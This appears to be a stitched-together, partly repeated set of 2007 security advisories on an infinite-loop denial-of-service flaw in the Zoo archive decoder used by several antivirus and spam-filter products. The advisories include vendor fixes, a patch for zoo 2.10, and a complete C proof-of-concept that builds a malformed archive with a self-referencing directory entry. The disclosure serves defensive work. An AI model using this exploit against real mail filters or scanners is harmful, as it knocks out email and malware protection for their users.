ZOO_HEADER_SIZE + D_FILENAME, "AAAAAAAA.AAA", 13); total_size = ZOO_HEADER_SIZE + 51; fp = open_file (filename); if ( (written_bytes = fwrite ( hdr, 1, total_size, fp)) != 0 ) { printf ("The file has been written\n"); } else { printf ("Cant write to the file\n"); exit (1); } fclose (fp); return 0; } VII. PATCH To fix this issue, ensure that the offset of the next file to process is always greater than the one you are currently processing. This will guarantee the fact that it's not possible to process the same files over and over again. Here is a patch for the software zoo version 2.10 distributed with many UNIX systems: diff -u zoo/zooext.c zoo-patched/zooext.c --- zoo/zooext.c 1991-07-11 15:08:00.000000000 -0400 +++ zoo-patched/zooext.c 2007-03-16 16:45:28.000000000 -0500 @@ -89,6 +89,7 @@ #endif struct direntry direntry; /* directory entry */ int first_dir = 1; /* first dir entry seen? */ +unsigned long zoo_pointer = 0; /* Track our position in the file */ static char extract_ver[] = "Zoo %d.%d is needed to extract %s.\n"; static char no_space[] = "Insufficient disk space to extract %s.\n"; @@ -169,6 +170,9 @@ exit_status = 1; } zooseek (zoo_file, zoo_header.zoo_start, 0); /* seek to where data begins */ + + /* Begin tracking our position in the file */ + zoo_pointer = zoo_header.zoo_start; } #ifndef PORTABLE @@ -597,6 +601,12 @@ } /* end if */ loop_again: + + /* Make sure we are not seeking to already processed data */ + if (next_ptr <= zoo_pointer) + prterror ('f', "ZOO chain structure is corrupted\n"); + zoo_pointer = next_ptr; + zooseek (zoo_file, next_ptr, 0); /* ..seek to next dir entry */ } /* end while */ diff -u zoo/zoolist.c zoo-patched/zoolist.c --- zoo/zoolist.c 1991-07-11 15:08:04.000000000 -0400 +++ zoo-patched/zoolist.c 2007-03-16 16:45:20.000000000 -0500 @@ -92,6 +92,7 @@ int show_mode = 0; /* show file protection */ #endif int first_dir = 1; /* if first direntry -- to adjust dat_ofs */ +unsigned long zoo_pointer = 0; /* Track our position in the file */ while (*option) { switch (*option) { @@ -211,6 +212,9 @@ show_acmt (&zoo_header, zoo_file, 0); /* show archive comment */ } + /* Begin tracking our position in the file */ + zoo_pointer = zoo_header.zoo_start; + /* Seek to the beginning of the first directory entry */ if (zooseek (zoo_file, zoo_header.zoo_start, 0) != 0) { ercount++; @@ -437,6 +441,11 @@ if (verb_list && !fast) show_comment (&direntry, zoo_file, 0, (char *) NULL); } /* end if (lots of conditions) */ + + /* Make sure we are not seeking to already processed data */ + if (direntry.next <= zoo_pointer) + prterror ('f', "ZOO chain structure is corrupted\n"); + zoo_pointer = direntry.next; /* ..seek to next dir entry */ zooseek (zoo_file, direntry.next, 0); VIII. CREDITS Jean-Sebastien Guay-Leroux found the bug and wrote the exploit for it. IX. REFERENCES 1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1669 2. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1670 3. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1671 4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1672 5. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1673 X. HISTORY 2006-09-?? : Vulnerability is found 2007-03-19 : All vendors notified 2007-03-19 : Barracuda Networks provided a fix 2007-03-22 : Avira provided a fix 2007-04-02 : Panda Antivirus provided a fix 2007-04-14 : avast! antivirus provided a fix 2007-05-04 : Public disclosure

zoo decoder 2.10 (zoo-2.10), as used in multiple products including (1) Barracuda Spam Firewall 3.4 and later with virusdef before 2.0.6399, (2) Spam Firewall before 3.4 20070319 with virusdef before 2.0.6399o, and (3) AMaViS 2.4.1 and earlier, allows remote attackers to cause a denial of service (infinite loop) via a ZOO archive with a direntry structure that points to a previous file. (1) Barracuda Spam Firewall Or (2) Spam Firewall ,and (3) AMaViS Used in etc. The Zoo compression algorithm is prone to a remote denial-of-service vulnerability. This issue arises when applications implementing the Zoo algorithm process certain malformed archives. A successful attack can exhaust system resources and trigger a denial-of-service condition. This issue affects Zoo 2.10 and other applications implementing the vulnerable algorithm. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. Join the FREE BETA test of the Network Software Inspector (NSI)! http://secunia.com/network_software_inspector/ The NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. The vulnerability is caused due to an error in the handling of Zoo archives. This can be exploited to cause an infinite loop resulting in high CPU utilisation. SOLUTION: Update to firmware version 3.4 and virus definition 2.0.6399 or later. PROVIDED AND/OR DISCOVERED BY: Jean-Sebastien Guay-Leroux ORIGINAL ADVISORY: Barracuda Networks: http://www.barracudanetworks.com/ns/resources/tech_alert.php Jean-Sebastien Guay-Leroux: http://www.guay-leroux.com/projects/zoo-infinite-advisory.txt ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . Topic: Multiple vendors ZOO file decompression infinite loop DoS Announced: 2007-05-04 Credits: Jean-Sebastien Guay-Leroux Products: Multiple (see section III) Impact: DoS (99% CPU utilisation) CVE ID: CVE-2007-1669, CVE-2007-1670, CVE-2007-1671, CVE-2007-1672, CVE-2007-1673 I. BACKGROUND Zoo is a compression program and format developed by Rahul Dhesi in the mid 1980s. The format is based on the LZW compression algorithm and compressed files are identified by the .zoo file extension. II. The vulnerability lies in the algorithm used to locate the files inside the archive. Each file in a ZOO archive is identified by a direntry structure. Those structures are linked between themselves with a 'next' pointer. This pointer is in fact an offset from the beginning of the file, representing the next direntry structure. By specifying an already processed file, it's possible to process more than one time this same file. The ZOO parser will then enter an infinite loop condition. III. AFFECTED SOFTWARES o Barracuda Spam Firewall o Panda Software Antivirus o avast! antivirus o Avira AntiVir o zoo-2.10 o unzoo.c o WinAce o PicoZip IV. IMPACT If this attack is conducted against a vulnerable antivirus, the host system will have its CPU at 100% utilization and may have problems answering other requests. If this attack is conducted against an SMTP content filter running a vulnerable ZOO implementation, legitimate clients may be unable to send and receive email through this server. V. SOLUTION o Barracuda Spam Firewall - CVE-2007-1669: They fixed this problem in virusdef 2.0.6399 for firmware >= 3.4 and 2.0.6399o for firmware < 3.4 March 19th 2007. o Panda Software Antivirus - CVE-2007-1670: They fixed this problem April 2nd 2007. o avast! antivirus - CVE-2007-1672: They fixed this problem in version 4.7.981, April 14th 2007. o Avira AntiVir - CVE-2007-1671: They fixed this problem in avpack32.dll version 7.3.0.6 March 22th 2007. o zoo-2.10 - CVE-2007-1669: This software is not maintained anymore. A patch for version 2.10 is provided in section VII of this advisory because some SMTP content filters may still use this software. o unzoo.c - CVE-2007-1673: This software is not maintained anymore. No patch is provided for this software. o WinAce was contacted but no response was received from them. o PicoZip was contacted but no response was received from them. VI. PROOF OF CONCEPT Using the PIRANA framework version 0.3.3, available at http://www.guay-leroux.com , it is possible to test your SMTP server against this vulnerability. Alternatively, here is an exploit that will create a file that will trigger the infinite loop condition when it is processed. /* Exploit for the vulnerability: Multiple vendors ZOO file decompression infinite loop DoS coded by Jean-S\xe9bastien Guay-Leroux September 2006 */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Structure of a ZOO header #define ZOO_HEADER_SIZE 0x0000002a #define ZH_TEXT 0 #define ZH_TAG 20 #define ZH_START_OFFSET 24 #define ZH_NEG_START_OFFSET 28 #define ZH_MAJ_VER 32 #define ZH_MIN_VER 33 #define ZH_ARC_HTYPE 34 #define ZH_ARC_COMMENT 35 #define ZH_ARC_COMMENT_LENGTH 39 #define ZH_VERSION_DATA 41 #define D_DIRENTRY_LENGTH 56 #define D_TAG 0 #define D_TYPE 4 #define D_PACKING_METHOD 5 #define D_NEXT_ENTRY 6 #define D_OFFSET 10 #define D_DATE 14 #define D_TIME 16 #define D_FILE_CRC 18 #define D_ORIGINAL_SIZE 20 #define D_SIZE_NOW 24 #define D_MAJ_VER 28 #define D_MIN_VER 29 #define D_DELETED 30 #define D_FILE_STRUCT 31 #define D_COMMENT_OFFSET 32 #define D_COMMENT_SIZE 36 #define D_FILENAME 38 #define D_VAR_DIR_LEN 51 #define D_TIMEZONE 53 #define D_DIR_CRC 54 #define D_NAMLEN ( D_DIRENTRY_LENGTH + 0 ) #define D_DIRLEN ( D_DIRENTRY_LENGTH + 1 ) #define D_LFILENAME ( D_DIRENTRY_LENGTH + 2 ) void put_byte (char *ptr, unsigned char data) { *ptr = data; } void put_word (char *ptr, unsigned short data) { put_byte (ptr, data); put_byte (ptr + 1, data >> 8); } void put_longword (char *ptr, unsigned long data) { put_byte (ptr, data); put_byte (ptr + 1, data >> 8); put_byte (ptr + 2, data >> 16); put_byte (ptr + 3, data >> 24); } FILE * open_file (char *filename) { FILE *fp; fp = fopen ( filename , "w" ); if (!fp) { perror ("Cant open file"); exit (1); } return fp; } void usage (char *progname) { printf ("\nTo use:\n"); printf ("%s <archive name>\n\n", progname); exit (1); } int main (int argc, char *argv[]) { FILE *fp; char *hdr = (char *) malloc (4096); char *filename = (char *) malloc (256); int written_bytes; int total_size; if ( argc != 2) { usage ( argv[0] ); } strncpy (filename, argv[1], 255); if (!hdr || !filename) { perror ("Error allocating memory"); exit (1); } memset (hdr, 0x00, 4096); // Build a ZOO header memcpy (hdr + ZH_TEXT, "ZOO 2.10 Archive.\032", 18); put_longword (hdr + ZH_TAG, 0xfdc4a7dc); put_longword (hdr + ZH_START_OFFSET, ZOO_HEADER_SIZE); put_longword (hdr + ZH_NEG_START_OFFSET, (ZOO_HEADER_SIZE) * -1); put_byte (hdr + ZH_MAJ_VER, 2); put_byte (hdr + ZH_MIN_VER, 0); put_byte (hdr + ZH_ARC_HTYPE, 1); put_longword (hdr + ZH_ARC_COMMENT, 0); put_word (hdr + ZH_ARC_COMMENT_LENGTH, 0); put_byte (hdr + ZH_VERSION_DATA, 3); // Build vulnerable direntry struct put_longword (hdr + ZOO_HEADER_SIZE + D_TAG, 0xfdc4a7dc); put_byte (hdr + ZOO_HEADER_SIZE + D_TYPE, 1); put_byte (hdr + ZOO_HEADER_SIZE + D_PACKING_METHOD, 0); put_longword (hdr + ZOO_HEADER_SIZE + D_NEXT_ENTRY, 0x2a); put_longword (hdr + ZOO_HEADER_SIZE + D_OFFSET, 0x71); put_word (hdr + ZOO_HEADER_SIZE + D_DATE, 0x3394); put_word (hdr + ZOO_HEADER_SIZE + D_TIME, 0x4650); put_word (hdr + ZOO_HEADER_SIZE + D_FILE_CRC, 0); put_longword (hdr + ZOO_HEADER_SIZE + D_ORIGINAL_SIZE, 0); put_longword (hdr + ZOO_HEADER_SIZE + D_SIZE_NOW, 0); put_byte (hdr + ZOO_HEADER_SIZE + D_MAJ_VER, 1); put_byte (hdr + ZOO_HEADER_SIZE + D_MIN_VER, 0); put_byte (hdr + ZOO_HEADER_SIZE + D_DELETED, 0); put_byte (hdr + ZOO_HEADER_SIZE + D_FILE_STRUCT, 0); put_longword (hdr + ZOO_HEADER_SIZE + D_COMMENT_OFFSET, 0); put_word (hdr + ZOO_HEADER_SIZE + D_COMMENT_SIZE, 0); memcpy (hdr + ZOO_HEADER_SIZE + D_FILENAME, "AAAAAAAA.AAA", 13); total_size = ZOO_HEADER_SIZE + 51; fp = open_file (filename); if ( (written_bytes = fwrite ( hdr, 1, total_size, fp)) != 0 ) { printf ("The file has been written\n"); } else { printf ("Cant write to the file\n"); exit (1); } fclose (fp); return 0; } VII. PATCH To fix this issue, ensure that the offset of the next file to process is always greater than the one you are currently processing. This will guarantee the fact that it's not possible to process the same files over and over again. Here is a patch for the software zoo version 2.10 distributed with many UNIX systems: diff -u zoo/zooext.c zoo-patched/zooext.c --- zoo/zooext.c 1991-07-11 15:08:00.000000000 -0400 +++ zoo-patched/zooext.c 2007-03-16 16:45:28.000000000 -0500 @@ -89,6 +89,7 @@ #endif struct direntry direntry; /* directory entry */ int first_dir = 1; /* first dir entry seen? */ +unsigned long zoo_pointer = 0; /* Track our position in the file */ static char extract_ver[] = "Zoo %d.%d is needed to extract %s.\n"; static char no_space[] = "Insufficient disk space to extract %s.\n"; @@ -169,6 +170,9 @@ exit_status = 1; } zooseek (zoo_file, zoo_header.zoo_start, 0); /* seek to where data begins */ + + /* Begin tracking our position in the file */ + zoo_pointer = zoo_header.zoo_start; } #ifndef PORTABLE @@ -597,6 +601,12 @@ } /* end if */ loop_again: + + /* Make sure we are not seeking to already processed data */ + if (next_ptr <= zoo_pointer) + prterror ('f', "ZOO chain structure is corrupted\n"); + zoo_pointer = next_ptr; + zooseek (zoo_file, next_ptr, 0); /* ..seek to next dir entry */ } /* end while */ diff -u zoo/zoolist.c zoo-patched/zoolist.c --- zoo/zoolist.c 1991-07-11 15:08:04.000000000 -0400 +++ zoo-patched/zoolist.c 2007-03-16 16:45:20.000000000 -0500 @@ -92,6 +92,7 @@ int show_mode = 0; /* show file protection */ #endif int first_dir = 1; /* if first direntry -- to adjust dat_ofs */ +unsigned long zoo_pointer = 0; /* Track our position in the file */ while (*option) { switch (*option) { @@ -211,6 +212,9 @@ show_acmt (&zoo_header, zoo_file, 0); /* show archive comment */ } + /* Begin tracking our position in the file */ + zoo_pointer = zoo_header.zoo_start; + /* Seek to the beginning of the first directory entry */ if (zooseek (zoo_file, zoo_header.zoo_start, 0) != 0) { ercount++; @@ -437,6 +441,11 @@ if (verb_list && !fast) show_comment (&direntry, zoo_file, 0, (char *) NULL); } /* end if (lots of conditions) */ + + /* Make sure we are not seeking to already processed data */ + if (direntry.next <= zoo_pointer) + prterror ('f', "ZOO chain structure is corrupted\n"); + zoo_pointer = direntry.next; /* ..seek to next dir entry */ zooseek (zoo_file, direntry.next, 0); VIII. CREDITS Jean-Sebastien Guay-Leroux found the bug and wrote the exploit for it. IX. REFERENCES 1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1669 2. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1670 3. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1671 4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1672 5. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1673 X. HISTORY 2006-09-?? : Vulnerability is found 2007-03-19 : All vendors notified 2007-03-19 : Barracuda Networks provided a fix 2007-03-22 : Avira provided a fix 2007-04-02 : Panda Antivirus provided a fix 2007-04-14 : avast! antivirus provided a fix 2007-05-04 : Public disclosure